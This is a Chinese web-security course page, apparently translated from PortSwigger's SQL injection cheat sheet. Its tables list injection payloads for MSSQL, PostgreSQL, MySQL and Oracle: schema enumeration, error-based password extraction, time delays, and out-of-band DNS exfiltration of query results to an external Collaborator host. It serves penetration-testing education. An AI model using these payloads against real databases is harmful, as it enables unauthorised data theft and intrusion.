Web安全
基础漏洞
01前端基础【HTML】
02前端基础【CSS】
03后端基础【PHP速通】
04后端基础【PHP面向对象】
05MySQL基础操作
06前后端联动【代码练习】
07SQL注入【1】
07SQL 注入【2】
08SQL注入 Labs
08SQL注入速查表
09XSS
09跨站脚本攻击【XSS】
09XSS Labs
10跨站请求伪造【CSRF】
11服务器端请求伪造【SSRF】
12XML 外部实体注入【XXE】
13代码执行漏洞
14命令执行漏洞
15文件包含漏洞
16文件上传漏洞
17反序列化漏洞
18业务逻辑漏洞
19未授权访问漏洞集合
20跨源资源共享【CORS】
21SSTI模板注入
22并发漏洞
23点击劫持【Clickjacking 】
24请求走私
25路径遍历
26访问控制
27身份验证漏洞
28WebSocket
29Web缓存中毒
30HTTP 主机头攻击
31信息泄露漏洞
32原型污染
33NoSQL注入
API 安全
01web应用程序
02HTTP协议
03API概述
04分类类型
05交换格式
06身份验证
07常见API漏洞
08crAPI靶场
09JWT
10OAuth 2.0身份验证
11GraphQL【1】
11GraphQL【2】
12DVGA靶场
13服务器端参数污染
14API文档
15API Labs
16OAuth Labs
17GraphQL API Labs
18JWT Labs
小程序
小程序抓包
数据库
MySQL
Oracle
MongoDB
Redis
PostgreSQL
SQL server
中间件
Nginx
Apache HTTP Server
IIS
Tomcat
框架
ThinkPHP
Spring
Spring Boot
Django
访问控制
-
+
首页
08SQL注入速查表
此 SQL 注入备忘单包含有用的语法示例,您可以使用这些语法执行执行 SQL 注入攻击时经常出现的各种任务。 ## 字符串连接 您可以将多个字符串连接在一起以形成一个字符串。 | 数据库类型 | 测试语句 | | ---------- | --------------------------------------------------------- | | 微软 | 'foo'+'bar' | | PostgreSQL | 'foo'\|\|'bar' | | MySQL | 'foo' 'bar'[注意两个字符串之间的空格] CONCAT('foo','bar') | | Oracle | 'foo'\|\|'bar' | ## 子字符串 您可以从指定偏移量提取指定长度的字符串的一部分。请注意,偏移量索引从 1 开始。以下每个表达式都将返回字符串ba。 | 数据库类型 | 测试语句 | | ---------- | ------------------------- | | 微软 | SUBSTRING('foobar', 4, 2) | | PostgreSQL | SUBSTRING('foobar', 4, 2) | | MySQL | SUBSTRING('foobar', 4, 2) | | Oracle | SUBSTR('foobar', 4, 2) | ## 评论 您可以使用注释来截断查询并删除输入之后的原始查询部分。 | 数据库类型 | 测试语句 | | ---------- | ----------------------------------------------------- | | 微软 | --comment/*comment*/ | | PostgreSQL | --comment/*comment*/ | | MySQL | #comment -- comment[注意双破折号后的空格] /*comment*/ | | Oracle | --comment | ## 数据库版本 您可以查询数据库以确定其类型和版本。这些信息在制定更复杂的攻击时非常有用。 | 数据库类型 | 测试语句 | | ---------- | ---------------------------------------------------------- | | 微软 | SELECT @@version | | PostgreSQL | SELECT version() | | MySQL | SELECT @@version | | Oracle | SELECT banner FROM v$versionSELECT version FROM v$instance | ## 数据库内容 您可以列出数据库中存在的表以及这些表包含的列。 | 数据库类型 | 测试语句 | | ---------- | ------------------------------------------------------------ | | 微软 | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' | | PostgreSQL | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' | | MySQL | SELECT * FROM information_schema.tablesSELECT * FROM information_schema.columns WHERE table_name = 'TABLE-NAME-HERE' | | Oracle | SELECT * FROM all_tablesSELECT * FROM all_tab_columns WHERE table_name = 'TABLE-NAME-HERE' | ## 条件错误 您可以测试单个布尔条件,如果条件为真,则触发数据库错误。 | 数据库类型 | 测试语句 | | ---------- | ------------------------------------------------------------ | | 微软 | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/0 ELSE NULL END | | PostgreSQL | 1 = (SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 1/(SELECT 0) ELSE NULL END) | | MySQL | SELECT IF(YOUR-CONDITION-HERE,(SELECT table_name FROM information_schema.tables),'a') | | Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN TO_CHAR(1/0) ELSE NULL END FROM dual | ## 通过可见的错误消息提取数据 您可能会引发错误消息,从而泄露恶意查询返回的敏感数据。 | 数据库类型 | 测试语句 | | ---------- | ------------------------------------------------------------ | | PostgreSQL | SELECT CAST((SELECT password FROM users LIMIT 1) AS int) > invalid input syntax for integer: "secret" | | MySQL | SELECT 'foo' WHERE 1=1 AND EXTRACTVALUE(1, CONCAT(0x5c, (SELECT 'secret'))) > XPATH syntax error: '\secret' | | 微软 | SELECT 'foo' WHERE 1 = (SELECT 'secret') > Conversion failed when converting the varchar value 'secret' to data type int. | ## 批量(或堆叠)查询 您可以使用批量查询连续执行多个查询。请注意,后续查询执行时,结果不会返回给应用程序。因此,此技术主要用于盲查漏洞,在这种情况下,您可以使用第二个查询来触发 DNS 查找、条件错误或时间延迟。 | 数据库类型 | 测试语句 | | ---------- | --------------------------------------------------- | | 微软 | QUERY-1-HERE; QUERY-2-HEREQUERY-1-HERE QUERY-2-HERE | | PostgreSQL | QUERY-1-HERE; QUERY-2-HERE | | MySQL | QUERY-1-HERE; QUERY-2-HERE | | Oracle | Does not support batched queries. | 对于 MySQL,批量查询通常无法用于 SQL 注入。但是,如果目标应用程序使用某些 PHP 或 Python API 与 MySQL 数据库通信,则偶尔可能会出现这种情况。 ## 时间延迟 您可以在数据库处理查询时造成时间延迟。以下操作将导致 10 秒的无条件时间延迟。 | 数据库类型 | 测试语句 | | ---------- | ----------------------------------- | | 微软 | WAITFOR DELAY '0:0:10' | | PostgreSQL | SELECT pg_sleep(10) | | MySQL | SELECT SLEEP(10) | | Oracle | dbms_pipe.receive_message(('a'),10) | ## 条件时间延迟 您可以测试单个布尔条件,如果条件为真则触发时间延迟。 | 数据库类型 | 测试语句 | | ---------- | ------------------------------------------------------------ | | 微软 | IF (YOUR-CONDITION-HERE) WAITFOR DELAY '0:0:10' | | PostgreSQL | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN pg_sleep(10) ELSE pg_sleep(0) END | | MySQL | SELECT IF(YOUR-CONDITION-HERE,SLEEP(10),'a') | | Oracle | SELECT CASE WHEN (YOUR-CONDITION-HERE) THEN 'a'\|\|dbms_pipe.receive_message(('a'),10) ELSE NULL END FROM dual | ## DNS查找 您可以使数据库对外部域执行 DNS 查找。为此,您需要使用[Burp Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator)生成一个唯一的 Burp Collaborator 子域,用于攻击,然后轮询 Collaborator 服务器以确认已发生 DNS 查找。 | 数据库类型 | 测试语句 | | ---------- | ------------------------------------------------------------ | | 微软 | exec master..xp_dirtree '//BURP-COLLABORATOR-SUBDOMAIN/a' | | PostgreSQL | copy (SELECT '') to program 'nslookup BURP-COLLABORATOR-SUBDOMAIN' | | MySQL | 以下技术仅适用于 Windows:LOAD_FILE('\\\\BURP-COLLABORATOR-SUBDOMAIN\\a') SELECT ... INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' | | Oracle | (XXE) 漏洞触发 DNS 查找。该漏洞已修复,但仍有许多未修复的 Oracle 安装:SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual以下技术适用于完全修补的 Oracle 安装,但需要提升的权限:SELECT UTL_INADDR.get_host_address('BURP-COLLABORATOR-SUBDOMAIN') | ## DNS 查找与数据泄露 您可以使数据库对包含注入查询结果的外部域执行 DNS 查找。为此,您需要使用[Burp Collaborator](https://portswigger.net/burp/documentation/desktop/tools/collaborator)生成一个唯一的 Burp Collaborator 子域,用于攻击,然后轮询 Collaborator 服务器以检索任何 DNS 交互的详细信息,包括窃取的数据。 | 数据库类型 | 测试语句 | | ---------- | ------------------------------------------------------------ | | 微软 | declare @p varchar(1024);set @p=(SELECT YOUR-QUERY-HERE);exec('master..xp_dirtree "//'+@p+'.BURP-COLLABORATOR-SUBDOMAIN/a"') | | PostgreSQL | create OR replace function f() returns void as $$declare c text;declare p text;beginSELECT into p (SELECT YOUR-QUERY-HERE);c := 'copy (SELECT '''') to program ''nslookup '\|\|p\|\|'.BURP-COLLABORATOR-SUBDOMAIN''';execute c;END;$$ language plpgsql security definer;SELECT f(); | | MySQL | 以下技术仅适用于 Windows: SELECT YOUR-QUERY-HERE INTO OUTFILE '\\\\BURP-COLLABORATOR-SUBDOMAIN\a' | | Oracle | SELECT EXTRACTVALUE(xmltype('<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE root [ <!ENTITY % remote SYSTEM "http://'\|\|(SELECT YOUR-QUERY-HERE)\|\|'.BURP-COLLABORATOR-SUBDOMAIN/"> %remote;]>'),'/l') FROM dual |
毛林
2025年9月6日 12:34
转发文档
收藏文档
上一篇
下一篇
手机扫码
复制链接
手机扫一扫转发分享
复制链接
Markdown文件
PDF文档(打印)
分享
链接
类型
密码
更新密码